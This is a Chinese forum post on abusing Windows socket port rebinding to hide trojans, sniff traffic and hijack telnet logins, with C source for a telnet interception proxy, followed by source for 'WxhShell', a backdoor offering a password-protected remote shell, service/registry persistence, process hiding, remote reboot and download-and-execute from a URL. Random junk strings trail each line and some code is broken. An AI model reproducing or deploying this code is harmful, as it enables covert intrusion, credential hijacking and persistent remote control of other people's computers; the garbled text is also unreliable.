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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: -&#L4AM%(9  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); G qI^$5?  
2hV#3i  
  saddr.sin_family = AF_INET; {4 !%'~  
22\Buk}?  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Tv<iHHp  
AC=cz!3iB  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); \^kyC1  
^lT$D8  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 aW7{T6.,  
(}fbs/8\p  
  这意味着什么?意味着可以进行如下的攻击: :<=!v5 SK  
]<q{0.  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 kx 'ncxN~  
&J_|P43  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) YNbs* i&  
 O+1 e  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 +vkqig  
5n r}5bum  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  lnW/T--  
sJX/YGHt  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 >U^AIaW  
-gh',)R   
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 l!\C"f1o,  
%*<k5#Yq  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 <pGPuw|~I  
g# :|Mjgh  
  #include {a9Z<P  
  #include Q;{yIa$ $  
  #include !o*BRR*  
  #include    2](R}  
  DWORD WINAPI ClientThread(LPVOID lpParam);   !&TbE@Xk  
  int main() U KF/v  
  { :Tw3Oo_~S  
  WORD wVersionRequested; gh}FZs5 P  
  DWORD ret; ^aDos9SyV  
  WSADATA wsaData; gLQWL}0O  
  BOOL val; x;LyR  
  SOCKADDR_IN saddr; :7IL|bA<  
  SOCKADDR_IN scaddr; ]y$D@/L@  
  int err; r!yrPwKL  
  SOCKET s; 71cc6T  
  SOCKET sc; 673v  
  int caddsize; _%!C;`3Y  
  HANDLE mt; F8Y D:   
  DWORD tid;   q|om^:n.  
  wVersionRequested = MAKEWORD( 2, 2 ); ~R/7J{Sg  
  err = WSAStartup( wVersionRequested, &wsaData ); <"/Y`/  
  if ( err != 0 ) { E8=.TM]L  
  printf("error!WSAStartup failed!\n"); %p"x|e  
  return -1; m~r^@D  
  } a@zKi;  
  saddr.sin_family = AF_INET;  2 Ua_7  
   \P!v9LX(  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 a2UER1Yp"  
TclZdk]%T  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); g8mVjM\B;  
  saddr.sin_port = htons(23); wCeSs=[  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) >DQl&:-)t  
  { 7'j?GzaQ+  
  printf("error!socket failed!\n"); HGB96,o f9  
  return -1; 4XQv  
  } iBxCk^  
  val = TRUE; g GN[AqR  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 WW@/q`h  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) jfl7L"2  
  { AZorzQ]s  
  printf("error!setsockopt failed!\n"); u~Q0V J~  
  return -1; J'Yj_  
  } tQ'E"u1  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Iqe4O~)  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 %B3E9<9>U  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击  ;e()|  
88d0`6K-9  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) {8Hrb^8!  
  { wlC_rRj~  
  ret=GetLastError(); qDhz|a#  
  printf("error!bind failed!\n"); 1;SW% \M  
  return -1; *f.eyg#  
  } M\,0<{  
  listen(s,2); &pK1S>t  
  while(1) <X j:c2@  
  { WDY,?  
  caddsize = sizeof(scaddr); x+nrdW+  
  //接受连接请求 Lh"Je-x<<  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); @= 6}w_  
  if(sc!=INVALID_SOCKET) 3w ?)H  
  { ,y,NVF  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); i+Px &9o<9  
  if(mt==NULL) h -+vM9j  
  { !zvKl;yT  
  printf("Thread Creat Failed!\n"); it5].A&  
  break; waQNX7Xdn  
  } HvK<>9  
  } ;yY>SaQ  
  CloseHandle(mt); <y6M@(b  
  } :r:5a(sq  
  closesocket(s);  o9#  
  WSACleanup(); Dq*>+1eW2  
  return 0; ~!,'z  
  }   '7 6}6G%  
  DWORD WINAPI ClientThread(LPVOID lpParam) nBaY|  
  { KKa"Ba$g  
  SOCKET ss = (SOCKET)lpParam; +G? 4Wc1  
  SOCKET sc; h;^h[q1'  
  unsigned char buf[4096]; 8Y sn8  
  SOCKADDR_IN saddr; Vg\EAs>f  
  long num; M=x/PrY"R  
  DWORD val; pJVzT,poh  
  DWORD ret; ^;c!)0Q<Z  
  //如果是隐藏端口应用的话,可以在此处加一些判断 %@G<B  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   *@dRL3c^=  
  saddr.sin_family = AF_INET; 4kT|/ bp  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); hqFK2 lR  
  saddr.sin_port = htons(23); G|'DAj%  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) %$Wt"~WE"O  
  { '-4);:(^  
  printf("error!socket failed!\n"); EfcoJgX  
  return -1; ^;<s"TJ(m)  
  } ZBdZr  
  val = 100; E xc`>Y q  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) vy[*xT]  
  { R5r )01  
  ret = GetLastError(); >UE_FC*u  
  return -1; T}$1<^NK  
  } tKo ^A:M  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) un6grvxr  
  { C "<l}  
  ret = GetLastError(); }7g\1l\  
  return -1; P@lExF*D1:  
  } 0LrTYrlj  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) d&(GIH E&d  
  { +yVz ) X  
  printf("error!socket connect failed!\n"); (JocnM|U  
  closesocket(sc); VDx=Tsu-  
  closesocket(ss); TRcY!  
  return -1; :upi2S_e  
  } Dsm_T1X  
  while(1) )j4]Y dJ  
  { %8yfF rk  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 vE>J@g2#  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 +Ys<V  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ?c+_}ja,  
  num = recv(ss,buf,4096,0); /wKW  
  if(num>0) Aw;~b&.U{_  
  send(sc,buf,num,0); gZM\RJZ_  
  else if(num==0) S M@l4GH  
  break; it ,i^32|  
  num = recv(sc,buf,4096,0); -F/"W  
  if(num>0) Z$k4T$,[-  
  send(ss,buf,num,0); ?M;2H {KG:  
  else if(num==0) ^p|MkB?uM  
  break; gPT-zul  
  } 245(ajxHC  
  closesocket(ss); TCX*$ac"  
  closesocket(sc); &0It"17Ej  
  return 0 ; 69!J' kM[  
  } eq<xO28z  
.D-}2<z  
zM|d9TS  
========================================================== I$n 0aR6  
zob^z@2  
下边附上一个代码,,WXhSHELL 5:hajXd  
aM9^V MOb  
========================================================== \%KJ +PJ  
' 6Ybf  
#include "stdafx.h" 1wW8D>f]K  
x9a*^l  
#include <stdio.h> KX"?3#U#Fm  
#include <string.h> n (C*LK  
#include <windows.h> GL cf'$l  
#include <winsock2.h> d?oupW}uu  
#include <winsvc.h> 0 oEw1!cY  
#include <urlmon.h> y/$WjFj3"  
!qV{OXdrB  
#pragma comment (lib, "Ws2_32.lib") " nq4!  
#pragma comment (lib, "urlmon.lib") m[LIM}Gu  
rG:IS=  
#define MAX_USER   100 // 最大客户端连接数 *%:p01&+  
#define BUF_SOCK   200 // sock buffer z. VuY3  
#define KEY_BUFF   255 // 输入 buffer YKJk)%;+w  
<dV|N$WV  
#define REBOOT     0   // 重启 d0Py[37V  
#define SHUTDOWN   1   // 关机 2L[/.|  
e=o<yf9>Q  
#define DEF_PORT   5000 // 监听端口 k v,'9z  
>5% o9$|z  
#define REG_LEN     16   // 注册表键长度 `pn]jpW9  
#define SVC_LEN     80   // NT服务名长度 ua/A &XQx  
ecA:y!N  
// 从dll定义API _SY<(2s]B  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); mv/'H^"[_  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); s_hf,QH  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 0F8y8s  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); }W#Gf.$6C  
54_CewL1P]  
// wxhshell配置信息 h1z[ElEeoP  
struct WSCFG { nC$f0r"z  
  int ws_port;         // 监听端口 xlp^XT6#  
  char ws_passstr[REG_LEN]; // 口令 |qH-^b.F  
  int ws_autoins;       // 安装标记, 1=yes 0=no Sqed*  
  char ws_regname[REG_LEN]; // 注册表键名 Lp 5LRw  
  char ws_svcname[REG_LEN]; // 服务名 >to NGGU=~  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 lE78 Yl]  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 UA!-YTh  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 AY5%<CWj8  
int ws_downexe;       // 下载执行标记, 1=yes 0=no vDV` !JU  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" }N]|zCEj  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 R 3TdQ6j  
7Y&W^]UZ0t  
}; Y#{ L}  
T\:Vu{|  
// default Wxhshell configuration &{!FE`ZC_  
struct WSCFG wscfg={DEF_PORT, Y/2@PzA|  
    "xuhuanlingzhe", +XLy Pj  
    1, KqG:o+V=  
    "Wxhshell", J/>Y mi,  
    "Wxhshell", jmxjiJKP  
            "WxhShell Service", (@B gsY  
    "Wrsky Windows CmdShell Service", #~^#%G  
    "Please Input Your Password: ", y#F( xm+L  
  1, -8-  
  "http://www.wrsky.com/wxhshell.exe", #(j'?|2o%  
  "Wxhshell.exe" - K0>^2hh  
    }; /csj(8^w  
iBVV5 f  
// 消息定义模块 0.'$U}#b  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; z2vrV?:  
char *msg_ws_prompt="\n\r? for help\n\r#>"; OIGu`%~js  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; -GLI$_lLF  
char *msg_ws_ext="\n\rExit."; n2zJ'  
char *msg_ws_end="\n\rQuit."; (n;#Z,  
char *msg_ws_boot="\n\rReboot..."; jAB~XaT,  
char *msg_ws_poff="\n\rShutdown..."; o9(:m   
char *msg_ws_down="\n\rSave to "; '`p#%I@  
_Jx.?8  
char *msg_ws_err="\n\rErr!"; T?4MFx#  
char *msg_ws_ok="\n\rOK!"; bX6eNk-L  
2 DJs '"8  
char ExeFile[MAX_PATH]; 7m~.V[l1  
int nUser = 0; y2;uG2IS_g  
HANDLE handles[MAX_USER]; yDg`9q.ckm  
int OsIsNt; eU&[^  
KC9_H>  
SERVICE_STATUS       serviceStatus; @d:TAwOI'  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; #!wu}nDu  
qPDe;$J)  
// 函数声明 ~2+J]8@I]  
int Install(void); {U?/u93~  
int Uninstall(void); hm*1w6 =  
int DownloadFile(char *sURL, SOCKET wsh); bW\OKI1  
int Boot(int flag); (S$ziV  
void HideProc(void); rV*9=  
int GetOsVer(void); N_(qMW  
int Wxhshell(SOCKET wsl); Au<NUc 2  
void TalkWithClient(void *cs); KV0M^B|W  
int CmdShell(SOCKET sock); 2kzm(K  
int StartFromService(void); s_S[iW`l=  
int StartWxhshell(LPSTR lpCmdLine); XZde}zUWn  
piIj t  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); pKJ0+mN#"  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); :c[iS~ ~Y  
w/BaaF.0  
// 数据结构和表定义 P&@ 2DI3m  
SERVICE_TABLE_ENTRY DispatchTable[] = i}"Eu< P  
{ 1O3"W;SR<:  
{wscfg.ws_svcname, NTServiceMain}, _; /onM   
{NULL, NULL} A.vWGBR  
}; }c|)i,bL  
2XI%z4\)!  
// 自我安装 *WdnP.'Y  
int Install(void) qIIc>By(\"  
{ FC[8kq>Hk  
  char svExeFile[MAX_PATH]; `1k0wT(  
  HKEY key; , 7-@eZ  
  strcpy(svExeFile,ExeFile); MWTzJGRT  
= i9|lU"Va  
// 如果是win9x系统,修改注册表设为自启动 BQ! v\1'C  
if(!OsIsNt) { P7np -I*  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { x8 :  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); @c,Qj$\1  
  RegCloseKey(key); fGS5{dti  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { p?F%a;V3  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 5q4sxY9T  
  RegCloseKey(key); WX<),u2@  
  return 0; +)YU/41W  
    } _]zm02|  
  } 3H"bivK  
} v d A 3  
else { s[6y|{&ze  
v3>jXf  
// 如果是NT以上系统,安装为系统服务 -=5]B ;  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 1?+%*uoPX  
if (schSCManager!=0) #fdQ\)#q>  
{ T6_LiB @  
  SC_HANDLE schService = CreateService _UU-  
  ( vt8z=O  
  schSCManager, [C_Dv-d  
  wscfg.ws_svcname, y/{&mo1\  
  wscfg.ws_svcdisp, 9?W!E_  
  SERVICE_ALL_ACCESS, /WqiGkHV*  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 2smQD8t  
  SERVICE_AUTO_START, k6.<zs0  
  SERVICE_ERROR_NORMAL, 93I.Wp_{  
  svExeFile, >Z%qkU/  
  NULL, ROH 2KSt  
  NULL, .$&_fUY  
  NULL, Rf*cW&}%  
  NULL, o}QtKf)W  
  NULL @px 4[  
  ); V% -wZL/  
  if (schService!=0) =VXxQ\{  
  { =XAFW  
  CloseServiceHandle(schService); 1:{BC2P  
  CloseServiceHandle(schSCManager); L{)*evBL  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); j\SvfZ0"  
  strcat(svExeFile,wscfg.ws_svcname); Y9^;TQ+#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ;F3#AO4(  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); .]gY{_|x  
  RegCloseKey(key); Mzfuthq=@  
  return 0; )Pj8{.t4  
    } x ,LQA0  
  } zNg8Oq&  
  CloseServiceHandle(schSCManager); 67,@*cK3?J  
} [&_c.ti  
} #ArMX3^+w7  
(c3%rM m]  
return 1; +2&+Gh.h  
} +,wCV2>\3  
[*i6?5}-  
// 自我卸载 znVao %b  
int Uninstall(void) C{g Y*+  
{ LS(J%\hMDm  
  HKEY key; b Ag>;e(  
j=>:{`*c  
if(!OsIsNt) { ;~nz%L J  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { svT1b'=\$I  
  RegDeleteValue(key,wscfg.ws_regname); `-,yJ  
  RegCloseKey(key); <OR f{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Y#[Wv1hi  
  RegDeleteValue(key,wscfg.ws_regname); A08b=S  
  RegCloseKey(key); :Ca]/]]  
  return 0; ;_]Z3  
  } >o45vB4o  
} 2p6`@8*34  
} 4|yZA*Q^  
else { @20~R/vh  
&uX| Ksq  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); cwK+{*ZH/  
if (schSCManager!=0) ;`p!/9il  
{ .WeP]dX%:f  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); o>G^)aRa  
  if (schService!=0) /C: rr_4=  
  { FXF#v>&  
  if(DeleteService(schService)!=0) { >R&=mo~  
  CloseServiceHandle(schService); N7}Y\1-8  
  CloseServiceHandle(schSCManager); cbHb!Lbg  
  return 0; ueimTXk  
  } yEvuTgDv  
  CloseServiceHandle(schService); /d/Quro  
  } #" 3az8u  
  CloseServiceHandle(schSCManager); ,?zIt6Z  
} -( d,AX  
} M?yWFqFt9m  
? FlV<nE"J  
return 1; h_w_OCC&2  
} ;Xzay|  
 oJ<Wh @  
// 从指定url下载文件 fD>0  
int DownloadFile(char *sURL, SOCKET wsh) _mi(:s(  
{ Xfq]vQ/{  
  HRESULT hr; ]n/fB|tE  
char seps[]= "/"; BAQ;.N4  
char *token; 4t Z. T9d  
char *file; J&<uP)<  
char myURL[MAX_PATH]; q^.\8zFf  
char myFILE[MAX_PATH]; GiF})e}  
02_37!\  
strcpy(myURL,sURL); uI'g]18Hi  
  token=strtok(myURL,seps); Dq~PxcnI  
  while(token!=NULL) HDTdOG)  
  { g;M\4o  
    file=token; ^Z 9v_qB  
  token=strtok(NULL,seps); =z]8;<=pL  
  } JW`Kh*,~<  
4 Ii@_r>  
GetCurrentDirectory(MAX_PATH,myFILE); XIrNT:h4  
strcat(myFILE, "\\"); &;V3[ *W"  
strcat(myFILE, file); .F*2]xj@"  
  send(wsh,myFILE,strlen(myFILE),0); ;~Em,M"o  
send(wsh,"...",3,0); 8G SO]R  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); HJ\CGYmyz  
  if(hr==S_OK) 2k^dxk~$V;  
return 0; f%1Dn}6  
else FyZiiH4|  
return 1; zF F=v7[j  
l imzDQ^  
} 1f.xZgO/2  
^edg@fp  
// 系统电源模块 BhMHT :m  
int Boot(int flag)  W1@Q)i  
{ gw1| ?C  
  HANDLE hToken; fC$~3v  
  TOKEN_PRIVILEGES tkp; 4cO||OsMU  
(\^)@Y  
  if(OsIsNt) { &M,"%w!  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); BBg&ZIYEh  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); F[ Itq  
    tkp.PrivilegeCount = 1; P'nbyF  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 9t$%Tc#Z  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); =&- hU|ur  
if(flag==REBOOT) { [SW@"C!  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ,u,]ab  
  return 0; $LPu_FJ  
}  xYMNyj~  
else { JMMsOA_]  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) J{Z-4y  
  return 0; zn |=Q$81  
} @QAyXwp  
  } 6$'6x2,  
  else { `P`n qn  
if(flag==REBOOT) { VH{SE7  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) y %k`  
  return 0; '(/ZJ88JP  
} ,H3C\.%w\  
else { .2xp.i{  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) SZ9xj^"g  
  return 0; =f)S=0UF  
} VesO/xG<  
} o3;u*f0rWn  
X-Sso9/q.  
return 1; EO|r   
} ))n7.pB9/  
NRS!Ox  
// win9x进程隐藏模块 @"~Mglgw  
void HideProc(void) %qzpt{'?<  
{ u+]v. Mt  
|wf:|%  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); zS:89y<  
  if ( hKernel != NULL ) F:/R'0  
  { 5JbPB!5;  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 'DQp  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); TsPO+x$l  
    FreeLibrary(hKernel); ta+'*@V +G  
  } M} IRagm  
6'Sc=;;:  
return; Po[u6K2&  
} }lgqRg)F9[  
X$O,L[] 4  
// 获取操作系统版本 6,'!z ?d%  
int GetOsVer(void) @=c{GAj  
{ ?lxI& h  
  OSVERSIONINFO winfo; /$hfd?L  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); `d=$9Pi  
  GetVersionEx(&winfo); EX>|+zYL  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) bOCdf"!g  
  return 1; dXh@E 7  
  else 1Tn!.E *  
  return 0; 'JEZ;9}  
} 4\q7.X+^  
AW LKve_  
// 客户端句柄模块 %r5&CUE5?  
int Wxhshell(SOCKET wsl) Y2Mti- \  
{ s)HbBt-  
  SOCKET wsh; x8T5aS  
  struct sockaddr_in client;  ]{OEU]I@  
  DWORD myID; XN"V{;OP1  
?lb1K'(  
  while(nUser<MAX_USER) Gvt.m&_  
{ *seKph+'c  
  int nSize=sizeof(client); KQ/v](7 7  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); .2hQ!)+  
  if(wsh==INVALID_SOCKET) return 1; vi6EI wZG  
}>xgzhdT  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ~(B\X?v  
if(handles[nUser]==0) p5C sw5  
  closesocket(wsh); RR:m <9l  
else [pbX_  
  nUser++; T\:3(+uK  
  } CF^7 {g(y_  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); -8tWc]c |4  
q*A2>0O  
  return 0; \%NhggS*  
} @+}Q<  
)BTJs)E  
// 关闭 socket ]}9y>+>  
void CloseIt(SOCKET wsh) $B4}('&4FQ  
{ `QR2!W70o3  
closesocket(wsh); N_L&!%s  
nUser--; Bh*~I_Ta>  
ExitThread(0); Z`"UT#^SI  
} UTUIL D  
}se)=7d8 Z  
// 客户端请求句柄 dv%gmUUf}k  
void TalkWithClient(void *cs) ~GfcI:Zz&  
{ /,5`#Gte_  
>w9)c|  
  SOCKET wsh=(SOCKET)cs; q4 'x'8  
  char pwd[SVC_LEN]; bm1ngI1oI  
  char cmd[KEY_BUFF]; 5v~Y>  
char chr[1]; $'X*L e@k  
int i,j; tZa)sbz  
)QTk5zt  
  while (nUser < MAX_USER) { xn@?CP`-y  
scqG$~O)  
if(wscfg.ws_passstr) { 1q~U3'l:$  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); jjvm<;lv  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); .,,?[TI  
  //ZeroMemory(pwd,KEY_BUFF); 5%?La`C9[  
      i=0; P,iLqat  
  while(i<SVC_LEN) { Vw9^otJu  
* @G4i  
  // 设置超时 5G){7]P+r"  
  fd_set FdRead; #X"\:yN  
  struct timeval TimeOut; [ZURs3q  
  FD_ZERO(&FdRead); /^uvY  
  FD_SET(wsh,&FdRead); Njq#@*>[p  
  TimeOut.tv_sec=8; 2O9dU 5b  
  TimeOut.tv_usec=0; W\U zw,vI  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Oe$cM=Yf  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); p>K'6lCa  
:M|c,SQK  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 5vbnO]8  
  pwd=chr[0]; >o 3X)  
  if(chr[0]==0xd || chr[0]==0xa) { P xpz7He  
  pwd=0; Di*+Cz;gK  
  break; An[*Jx  
  } 4>Uo0NfL  
  i++; l(=#c/f  
    }  e^&YQl  
um#;S;  
  // 如果是非法用户,关闭 socket 92Ar0j]  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); NFLmM  
} UUb!2sO  
S;ulJ*qv  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); #A]7cMZ'W  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); b daZ{5^{  
gSR&CnqZ<  
while(1) { dhK$ XG  
a4`@z:l  
  ZeroMemory(cmd,KEY_BUFF); 7R) )(-  
bvG").8$  
      // 自动支持客户端 telnet标准   &v4w3'@1  
  j=0; #yr19i ?  
  while(j<KEY_BUFF) {   |J(]  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); mu"]B]  
  cmd[j]=chr[0]; CM5A-R90  
  if(chr[0]==0xa || chr[0]==0xd) { A$XjzTR  
  cmd[j]=0; nQ$N(2<Fe  
  break; U%k e 5uwP  
  } `Q(ac| 0  
  j++; Q^MB%L;D  
    } 'b661,+d  
yH#;k:O=  
  // 下载文件 [po+a@ %  
  if(strstr(cmd,"http://")) { kOdS^-  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); :WA o{|&  
  if(DownloadFile(cmd,wsh)) {tR=D_5  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); @%\ANM$S  
  else +o'. !sRH  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); o4~ft!>  
  } 3sp*.dk  
  else { {f^30Fw  
)7j"OE  
    switch(cmd[0]) { E 3I'3  
  n;Iey[7_E`  
  // 帮助 P< WD_W  
  case '?': { G~B V^  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); >P0AGZ  
    break; ]NFDE-Jz]  
  } Gzp)OHgJ  
  // 安装 Plq [Ml9  
  case 'i': { y'@l,MN{  
    if(Install()) *?K` T^LS  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); oQ yG  
    else ,s)~Y p?<  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Q.y KbO<[  
    break; 2OT6*+D  
    } akCl05YW  
  // 卸载 M;iaNL(  
  case 'r': { l?FNYvL  
    if(Uninstall()) C>K/C!5?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); s}z,{Y$-t  
    else X!2|_  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); dhVwS$O )  
    break; <}mT[;:"  
    } @tj0Ir v  
  // 显示 wxhshell 所在路径 8OFrW.>[  
  case 'p': { ZcWl{e4  
    char svExeFile[MAX_PATH]; Y}?@Pm drz  
    strcpy(svExeFile,"\n\r"); E,6E-9  
      strcat(svExeFile,ExeFile); epG;=\f}m`  
        send(wsh,svExeFile,strlen(svExeFile),0); R3@iN &  
    break; = oh6;Ojt  
    } XdS<51 C  
  // 重启 $1dI  
  case 'b': { njq-iU  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); X4k/7EA  
    if(Boot(REBOOT)) F_r eBPx  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /uyQ>Y*-\Y  
    else { 4Dd9cG,lN  
    closesocket(wsh); RsOK5XnQn  
    ExitThread(0); l:|Fs=\  
    } H~~(v52wD  
    break; yv:NH|,/y  
    } @<6-uk3S  
  // 关机 (w^&NU'e  
  case 'd': { ` q@~78`  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); EV(/@kN2  
